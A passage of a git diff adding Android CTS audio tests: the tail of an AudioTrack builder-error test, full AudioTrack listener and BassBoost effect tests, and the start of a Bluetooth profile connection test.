+        final AudioTrack[] audioTrack = new AudioTrack[1]; // pointer to audio track.
+        final int BIGNUM = Integer.MAX_VALUE; // large value that should be invalid.
+        final int INVALID_SESSION_ID = 1024;  // can never occur (wrong type in 3 lsbs)
+        final int INVALID_CHANNEL_MASK = -1;
+
+        try {
+            // NOTE:
+            // Tuner Configuration builder error tested in testTunerConfiguration (same file).
+            // AudioAttributes tested in AudioAttributesTest#testAudioAttributesBuilderError.
+            // AudioFormat tested in AudioFormatTest#testAudioFormatBuilderError.
+
+            // We must be able to create the AudioTrack.
+            audioTrack[0] = new AudioTrack.Builder().build();
+            audioTrack[0].release();
+
+            // Out of bounds buffer size.  A large size will fail in AudioTrack creation.
+            assertThrows(UnsupportedOperationException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setBufferSizeInBytes(BIGNUM)
+                        .build();
+            });
+
+            // 0 and negative buffer size throw IllegalArgumentException
+            for (int bufferSize : new int[] {-BIGNUM, -1, 0}) {
+                assertThrows(IllegalArgumentException.class, () -> {
+                    audioTrack[0] = new AudioTrack.Builder()
+                            .setBufferSizeInBytes(bufferSize)
+                            .build();
+                });
+            }
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setEncapsulationMode(BIGNUM)
+                        .build();
+            });
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setPerformanceMode(BIGNUM)
+                        .build();
+            });
+
+            // Invalid session id that is positive.
+            // (logcat error message vague)
+            assertThrows(UnsupportedOperationException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setSessionId(INVALID_SESSION_ID)
+                        .build();
+            });
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setTransferMode(BIGNUM)
+                        .build();
+            });
+
+            // Specialty AudioTrack build errors.
+
+            // Bad audio encoding DRA expected unsupported.
+            try {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+                                .setEncoding(AudioFormat.ENCODING_DRA)
+                                .build())
+                        .build();
+                // Don't throw an exception, maybe it is supported somehow, but warn.
+                // Note: often specialty audio formats are offloaded (see setOffloadedPlayback).
+                // AudioTrackSurroundTest and AudioTrackOffloadedTest can be used as examples.
+                Log.w(TAG, "ENCODING_DRA is expected to be unsupported");
+                audioTrack[0].release();
+                audioTrack[0] = null;
+            } catch (UnsupportedOperationException e) {
+                ; // OK expected
+            }
+
+            // Sample rate out of bounds.
+            // System levels caught on AudioFormat.
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setSampleRate(BIGNUM)
+                                .build())
+                        .build();
+            });
+
+            // Invalid channel mask - caught here on use.
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setChannelMask(INVALID_CHANNEL_MASK)
+                                .build())
+                        .build();
+            });
+        } finally {
+            // Did we successfully complete for some reason but did not
+            // release?
+            if (audioTrack[0] != null) {
+                audioTrack[0].release();
+                audioTrack[0] = null;
+            }
+        }
+    }
+
+/* Do not run in JB-MR1. will be re-opened in the next platform release.
+    public void testResourceLeakage() throws Exception {
+        final int BUFFER_SIZE = 600 * 1024;
+        ByteBuffer data = ByteBuffer.allocate(BUFFER_SIZE);
+        for (int i = 0; i < 10; i++) {
+            Log.i(TAG, "testResourceLeakage round " + i);
+            data.rewind();
+            AudioTrack track = new AudioTrack(AudioManager.STREAM_VOICE_CALL,
+                                              44100,
+                                              AudioFormat.CHANNEL_OUT_STEREO,
+                                              AudioFormat.ENCODING_PCM_16BIT,
+                                              data.capacity(),
+                                              AudioTrack.MODE_STREAM);
+            assertTrue(track != null);
+            track.write(data.array(), 0, data.capacity());
+            track.play();
+            Thread.sleep(100);
+            track.stop();
+            track.release();
+        }
+    }
+*/
+
+    /* MockAudioTrack allows testing of protected getNativeFrameCount() and setState(). */
+    private class MockAudioTrack extends AudioTrack {
+
+        public MockAudioTrack(int streamType, int sampleRateInHz, int channelConfig,
+                int audioFormat, int bufferSizeInBytes, int mode) throws IllegalArgumentException {
+            super(streamType, sampleRateInHz, channelConfig, audioFormat, bufferSizeInBytes, mode);
+        }
+
+        public void setState(int state) {
+            super.setState(state);
+        }
+
+        public int getNativeFrameCount() {
+            return super.getNativeFrameCount();
+        }
+    }
+
+    private static AudioPresentation createAudioPresentation() {
+        return (new AudioPresentation.Builder(42 /*presentationId*/)).build();
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrack_ListenerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrack_ListenerTest.java
new file mode 100644
index 0000000..3606de1
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrack_ListenerTest.java
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.AudioTrack.OnPlaybackPositionUpdateListener;
+import android.media.cts.AudioHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.util.ArrayList;
+
+@NonMediaMainlineTest
+public class AudioTrack_ListenerTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioTrack_ListenerTest";
+    private static final String REPORT_LOG_NAME = "CtsMediaAudioTestCases";
+    private final static int TEST_SR = 11025;
+    private final static int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO;
+    private final static int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+    private final static int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+    private final static int TEST_LOOP_FACTOR = 2; // # loops (>= 1) for static tracks
+                                                   // simulated for streaming.
+    private final static int TEST_BUFFER_FACTOR = 25;
+    private boolean mIsHandleMessageCalled;
+    private int mMarkerPeriodInFrames;
+    private int mMarkerPosition;
+    private int mFrameCount;
+    private Handler mHandler = new Handler(Looper.getMainLooper()) {
+        @Override
+        public void handleMessage(Message msg) {
+            mIsHandleMessageCalled = true;
+            super.handleMessage(msg);
+        }
+    };
+
+    public void testAudioTrackCallback() throws Exception {
+        doTest("streaming_local_looper", true /*localTrack*/, false /*customHandler*/,
+                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STREAM);
+    }
+
+    public void testAudioTrackCallbackWithHandler() throws Exception {
+        // with 100 periods per second, trigger back-to-back notifications.
+        doTest("streaming_private_handler", false /*localTrack*/, true /*customHandler*/,
+                100 /*periodsPerSecond*/, 10 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STREAM);
+        // verify mHandler is used only for accessing its associated Looper
+        assertFalse(mIsHandleMessageCalled);
+    }
+
+    public void testStaticAudioTrackCallback() throws Exception {
+        doTest("static", false /*localTrack*/, false /*customHandler*/,
+                100 /*periodsPerSecond*/, 10 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STATIC);
+    }
+
+    public void testStaticAudioTrackCallbackWithHandler() throws Exception {
+        String streamName = "test_static_audio_track_callback_handler";
+        doTest("static_private_handler", false /*localTrack*/, true /*customHandler*/,
+                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STATIC);
+        // verify mHandler is used only for accessing its associated Looper
+        assertFalse(mIsHandleMessageCalled);
+    }
+
+    private void doTest(String reportName, boolean localTrack, boolean customHandler,
+            int periodsPerSecond, int markerPeriodsPerSecond, final int mode) throws Exception {
+        mIsHandleMessageCalled = false;
+        final int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        final int bufferSizeInBytes;
+        if (mode == AudioTrack.MODE_STATIC && TEST_LOOP_FACTOR > 1) {
+            // use setLoopPoints for static mode
+            bufferSizeInBytes = minBuffSize * TEST_BUFFER_FACTOR;
+            mFrameCount = bufferSizeInBytes * TEST_LOOP_FACTOR;
+        } else {
+            bufferSizeInBytes = minBuffSize * TEST_BUFFER_FACTOR * TEST_LOOP_FACTOR;
+            mFrameCount = bufferSizeInBytes;
+        }
+
+        final AudioTrack track;
+        final AudioHelper.MakeSomethingAsynchronouslyAndLoop<AudioTrack> makeSomething;
+        if (localTrack) {
+            makeSomething = null;
+            track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
+                    TEST_FORMAT, bufferSizeInBytes, mode);
+        } else {
+            makeSomething =
+                    new AudioHelper.MakeSomethingAsynchronouslyAndLoop<AudioTrack>(
+                    new AudioHelper.MakesSomething<AudioTrack>() {
+                        @Override
+                        public AudioTrack makeSomething() {
+                            return new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
+                                TEST_FORMAT, bufferSizeInBytes, mode);
+                        }
+                    }
+                );
+           // create audiotrack on different thread's looper.
+           track = makeSomething.make();
+        }
+        final MockOnPlaybackPositionUpdateListener listener;
+        if (customHandler) {
+            listener = new MockOnPlaybackPositionUpdateListener(track, mHandler);
+        } else {
+            listener = new MockOnPlaybackPositionUpdateListener(track);
+        }
+
+        byte[] vai = AudioHelper.createSoundDataInByteArray(
+                bufferSizeInBytes, TEST_SR, 1024 /* frequency */, 0 /* sweep */);
+        int markerPeriods = Math.max(3, mFrameCount * markerPeriodsPerSecond / TEST_SR);
+        mMarkerPeriodInFrames = mFrameCount / markerPeriods;
+        markerPeriods = mFrameCount / mMarkerPeriodInFrames; // recalculate due to round-down
+        mMarkerPosition = mMarkerPeriodInFrames;
+
+        // check that we can get and set notification marker position
+        assertEquals(0, track.getNotificationMarkerPosition());
+        assertEquals(AudioTrack.SUCCESS,
+                track.setNotificationMarkerPosition(mMarkerPosition));
+        assertEquals(mMarkerPosition, track.getNotificationMarkerPosition());
+
+        int updatePeriods = Math.max(3, mFrameCount * periodsPerSecond / TEST_SR);
+        final int updatePeriodInFrames = mFrameCount / updatePeriods;
+        updatePeriods = mFrameCount / updatePeriodInFrames; // recalculate due to round-down
+
+        // we set the notification period before running for better period positional accuracy.
+        // check that we can get and set notification periods
+        assertEquals(0, track.getPositionNotificationPeriod());
+        assertEquals(AudioTrack.SUCCESS,
+                track.setPositionNotificationPeriod(updatePeriodInFrames));
+        assertEquals(updatePeriodInFrames, track.getPositionNotificationPeriod());
+
+        if (mode == AudioTrack.MODE_STATIC && TEST_LOOP_FACTOR > 1) {
+            track.setLoopPoints(0, vai.length, TEST_LOOP_FACTOR - 1);
+        }
+        // write data with single blocking write, then play.
+        assertEquals(vai.length, track.write(vai, 0 /* offsetInBytes */, vai.length));
+        track.play();
+
+        // sleep until track completes playback - it must complete within 1 second
+        // of the expected length otherwise the periodic test should fail.
+        final int numChannels =  AudioFormat.channelCountFromOutChannelMask(TEST_CONF);
+        final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
+        final int bytesPerFrame = numChannels * bytesPerSample;
+        final int trackLengthMs = (int)((double)mFrameCount * 1000 / TEST_SR / bytesPerFrame);
+        Thread.sleep(trackLengthMs + 1000);
+
+        // stop listening - we should be done.
+        listener.stop();
+
+        // Beware: stop() resets the playback head position for both static and streaming
+        // audio tracks, so stop() cannot be called while we're still logging playback
+        // head positions. We could recycle the track after stop(), which isn't done here.
+        track.stop();
+
+        // clean up
+        if (makeSomething != null) {
+            makeSomething.join();
+        }
+        listener.release();
+        track.release();
+
+        // collect statistics
+        final ArrayList<Integer> markerList = listener.getMarkerList();
+        final ArrayList<Integer> periodicList = listener.getPeriodicList();
+        // verify count of markers and periodic notifications.
+        assertEquals(markerPeriods, markerList.size());
+        assertEquals(updatePeriods, periodicList.size());
+        // verify actual playback head positions returned.
+        // the max diff should really be around 24 ms,
+        // but system load and stability will affect this test;
+        // we use 80ms limit here for failure.
+        final int tolerance80MsInFrames = TEST_SR * 80 / 1000;
+
+        AudioHelper.Statistics markerStat = new AudioHelper.Statistics();
+        for (int i = 0; i < markerPeriods; ++i) {
+            final int expected = mMarkerPeriodInFrames * (i + 1);
+            final int actual = markerList.get(i);
+            // Log.d(TAG, "Marker: expected(" + expected + ")  actual(" + actual
+            //        + ")  diff(" + (actual - expected) + ")");
+            assertEquals(expected, actual, tolerance80MsInFrames);
+            markerStat.add((double)(actual - expected) * 1000 / TEST_SR);
+        }
+
+        AudioHelper.Statistics periodicStat = new AudioHelper.Statistics();
+        for (int i = 0; i < updatePeriods; ++i) {
+            final int expected = updatePeriodInFrames * (i + 1);
+            final int actual = periodicList.get(i);
+            // Log.d(TAG, "Update: expected(" + expected + ")  actual(" + actual
+            //        + ")  diff(" + (actual - expected) + ")");
+            assertEquals(expected, actual, tolerance80MsInFrames);
+            periodicStat.add((double)(actual - expected) * 1000 / TEST_SR);
+        }
+
+        // report this
+        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, reportName);
+        log.addValue("average_marker_diff", markerStat.getAvg(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("maximum_marker_abs_diff", markerStat.getMaxAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("average_marker_abs_diff", markerStat.getAvgAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("average_periodic_diff", periodicStat.getAvg(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("maximum_periodic_abs_diff", periodicStat.getMaxAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("average_periodic_abs_diff", periodicStat.getAvgAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.setSummary("unified_abs_diff", (periodicStat.getAvgAbs() + markerStat.getAvgAbs()) / 2,
+                ResultType.LOWER_BETTER, ResultUnit.MS);
+        log.submit(getInstrumentation());
+    }
+
+    private class MockOnPlaybackPositionUpdateListener
+                                        implements OnPlaybackPositionUpdateListener {
+        public MockOnPlaybackPositionUpdateListener(AudioTrack track) {
+            mAudioTrack = track;
+            track.setPlaybackPositionUpdateListener(this);
+        }
+
+        public MockOnPlaybackPositionUpdateListener(AudioTrack track, Handler handler) {
+            mAudioTrack = track;
+            track.setPlaybackPositionUpdateListener(this, handler);
+        }
+
+        public synchronized void onMarkerReached(AudioTrack track) {
+            if (mIsTestActive) {
+                int position = mAudioTrack.getPlaybackHeadPosition();
+                mOnMarkerReachedCalled.add(position);
+                mMarkerPosition += mMarkerPeriodInFrames;
+                if (mMarkerPosition <= mFrameCount) {
+                    assertEquals(AudioTrack.SUCCESS,
+                            mAudioTrack.setNotificationMarkerPosition(mMarkerPosition));
+                }
+            } else {
+                fail("onMarkerReached called when not active");
+            }
+        }
+
+        public synchronized void onPeriodicNotification(AudioTrack track) {
+            if (mIsTestActive) {
+                mOnPeriodicNotificationCalled.add(mAudioTrack.getPlaybackHeadPosition());
+            } else {
+                fail("onPeriodicNotification called when not active");
+            }
+        }
+
+        public synchronized void stop() {
+            mIsTestActive = false;
+        }
+
+        public ArrayList<Integer> getMarkerList() {
+            return mOnMarkerReachedCalled;
+        }
+
+        public ArrayList<Integer> getPeriodicList() {
+            return mOnPeriodicNotificationCalled;
+        }
+
+        public synchronized void release() {
+            mAudioTrack.setPlaybackPositionUpdateListener(null);
+            mAudioTrack = null;
+        }
+
+        private boolean mIsTestActive = true;
+        private AudioTrack mAudioTrack;
+        private ArrayList<Integer> mOnMarkerReachedCalled = new ArrayList<Integer>();
+        private ArrayList<Integer> mOnPeriodicNotificationCalled = new ArrayList<Integer>();
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java b/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java
new file mode 100644
index 0000000..4712909
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java
@@ -0,0 +1,439 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.audiofx.BassBoost;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+@NonMediaMainlineTest
+public class BassBoostTest extends PostProcTestBase {
+
+    private String TAG = "BassBoostTest";
+    private final static short TEST_STRENGTH = 500;
+    private final static short TEST_STRENGTH2 = 1000;
+    private final static float STRENGTH_TOLERANCE = 1.1f;  // 10%
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private BassBoost mBassBoost = null;
+    private BassBoost mBassBoost2 = null;
+    private ListenerThread mEffectListenerLooper = null;
+
+    //-----------------------------------------------------------------
+    // BASS BOOST TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        BassBoost eq = null;
+        try {
+            eq = new BassBoost(0, getSessionId());
+            try {
+                assertTrue("invalid effect ID", (eq.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("BassBoost not initialized");
+            }
+            // test passed
+        } catch (IllegalArgumentException e) {
+            fail("BassBoost not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+        }
+    }
+
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: test strength
+    public void test1_0Strength() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        getBassBoost(getSessionId());
+        try {
+            if (mBassBoost.getStrengthSupported()) {
+                short strength = mBassBoost.getRoundedStrength();
+                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
+                mBassBoost.setStrength((short)strength);
+                short strength2 = mBassBoost.getRoundedStrength();
+                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
+                assertTrue("got incorrect strength",
+                        ((float)strength2 > (float)strength / STRENGTH_TOLERANCE) &&
+                        ((float)strength2 < (float)strength * STRENGTH_TOLERANCE));
+            } else {
+                short strength = mBassBoost.getRoundedStrength();
+                assertTrue("got incorrect strength", strength >= 0 && strength <= 1000);
+            }
+            // test passed
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseBassBoost();
+        }
+    }
+
+    //Test case 1.1: test properties
+    public void test1_1Properties() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        getBassBoost(getSessionId());
+        try {
+            BassBoost.Settings settings = mBassBoost.getProperties();
+            String str = settings.toString();
+            settings = new BassBoost.Settings(str);
+
+            short strength = settings.strength;
+            if (mBassBoost.getStrengthSupported()) {
+                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
+            }
+            settings.strength = strength;
+            mBassBoost.setProperties(settings);
+            settings = mBassBoost.getProperties();
+
+            if (mBassBoost.getStrengthSupported()) {
+                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
+                assertTrue("got incorrect strength",
+                        ((float)settings.strength > (float)strength / STRENGTH_TOLERANCE) &&
+                        ((float)settings.strength < (float)strength * STRENGTH_TOLERANCE));
+            }
+            // test passed
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseBassBoost();
+        }
+    }
+
+    //Test case 1.2: test setStrength() throws exception after release
+    public void test1_2SetStrengthAfterRelease() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        getBassBoost(getSessionId());
+        mBassBoost.release();
+        try {
+            mBassBoost.setStrength(TEST_STRENGTH);
+            fail("setStrength() processed after release()");
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseBassBoost();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        getBassBoost(getSessionId());
+        try {
+            mBassBoost.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mBassBoost.getEnabled());
+            mBassBoost.setEnabled(false);
+            assertFalse("invalid state to getEnabled", mBassBoost.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            releaseBassBoost();
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        getBassBoost(getSessionId());
+        mBassBoost.release();
+        try {
+            mBassBoost.setEnabled(true);
+            fail("setEnabled() processed after release()");
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseBassBoost();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 priority and listeners
+    //----------------------------------
+
+    //Test case 3.0: test control status listener
+    public void test3_0ControlStatusListener() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mHasControl = true;
+            mInitialized = false;
+            createListenerLooper(true, false, false);
+            waitForLooperInitialization_l();
+
+            getBassBoost(mSession);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mHasControl && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseBassBoost();
+        }
+        assertFalse("effect control not lost by effect1", mHasControl);
+    }
+
+    //Test case 3.1: test enable status listener
+    public void test3_1EnableStatusListener() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, true, false);
+            waitForLooperInitialization_l();
+
+            mBassBoost2.setEnabled(true);
+            mIsEnabled = true;
+            getBassBoost(mSession);
+            mBassBoost.setEnabled(false);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mIsEnabled && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseBassBoost();
+        }
+        assertFalse("enable status not updated", mIsEnabled);
+    }
+
+    //Test case 3.2: test parameter changed listener
+    public void test3_2ParameterChangedListener() throws Exception {
+        if (!isBassBoostAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, false, true);
+            waitForLooperInitialization_l();
+
+            getBassBoost(mSession);
+            mChangedParameter = -1;
+            mBassBoost.setStrength(TEST_STRENGTH);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseBassBoost();
+        }
+        assertEquals("parameter change not received",
+                BassBoost.PARAM_STRENGTH, mChangedParameter);
+    }
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private void getBassBoost(int session) {
+         if (mBassBoost == null || session != mSession) {
+             if (session != mSession && mBassBoost != null) {
+                 mBassBoost.release();
+                 mBassBoost = null;
+             }
+             try {
+                mBassBoost = new BassBoost(0, session);
+                mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getBassBoost() BassBoost not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getBassBoost() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mBassBoost", mBassBoost);
+    }
+
+    private void releaseBassBoost() {
+        if (mBassBoost != null) {
+            mBassBoost.release();
+            mBassBoost = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    // Initializes the bassboot listener looper
+    class ListenerThread extends Thread {
+        boolean mControl;
+        boolean mEnable;
+        boolean mParameter;
+
+        public ListenerThread(boolean control, boolean enable, boolean parameter) {
+            super();
+            mControl = control;
+            mEnable = enable;
+            mParameter = parameter;
+        }
+
+        public void cleanUp() {
+            if (mBassBoost2 != null) {
+                mBassBoost2.setControlStatusListener(null);
+                mBassBoost2.setEnableStatusListener(null);
+                mBassBoost2.setParameterListener(
+                        (BassBoost.OnParameterChangeListener)null);
+            }
+        }
+    }
+
+    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
+        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
+            @Override
+            public void run() {
+                // Set up a looper
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                mSession = getSessionId();
+                mBassBoost2 = new BassBoost(0, mSession);
+                assertNotNull("could not create bassboot2", mBassBoost2);
+
+                synchronized(mLock) {
+                    if (mControl) {
+                        mBassBoost2.setControlStatusListener(
+                                new AudioEffect.OnControlStatusChangeListener() {
+                            public void onControlStatusChange(
+                                    AudioEffect effect, boolean controlGranted) {
+                                synchronized(mLock) {
+                                    if (effect == mBassBoost2) {
+                                        mHasControl = controlGranted;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mEnable) {
+                        mBassBoost2.setEnableStatusListener(
+                                new AudioEffect.OnEnableStatusChangeListener() {
+                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
+                                synchronized(mLock) {
+                                    if (effect == mBassBoost2) {
+                                        mIsEnabled = enabled;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mParameter) {
+                        mBassBoost2.setParameterListener(new BassBoost.OnParameterChangeListener() {
+                            public void onParameterChange(BassBoost effect, int status,
+                                    int param, short value)
+                            {
+                                synchronized(mLock) {
+                                    if (effect == mBassBoost2) {
+                                        mChangedParameter = param;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mEffectListenerLooper.start();
+    }
+
+    // Terminates the listener looper thread.
+    private void terminateListenerLooper() {
+        if (mEffectListenerLooper != null) {
+            mEffectListenerLooper.cleanUp();
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mEffectListenerLooper.join();
+            } catch(InterruptedException e) {
+            }
+            mEffectListenerLooper = null;
+        }
+
+        if (mBassBoost2 != null) {
+            mBassBoost2.release();
+            mBassBoost2 = null;
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/BluetoothProfileConnectionInfoTest.java b/tests/tests/media/audio/src/android/media/audio/cts/BluetoothProfileConnectionInfoTest.java
new file mode 100644
index 0000000..c35b33e
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/BluetoothProfileConnectionInfoTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.bluetooth.BluetoothProfile;
+import android.media.BluetoothProfileConnectionInfo;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothProfileConnectionInfoTest {
+
+    @Test
+    public void testCoverageA2dp() {
+        final boolean supprNoisy = false;
+        final int volume = 42;
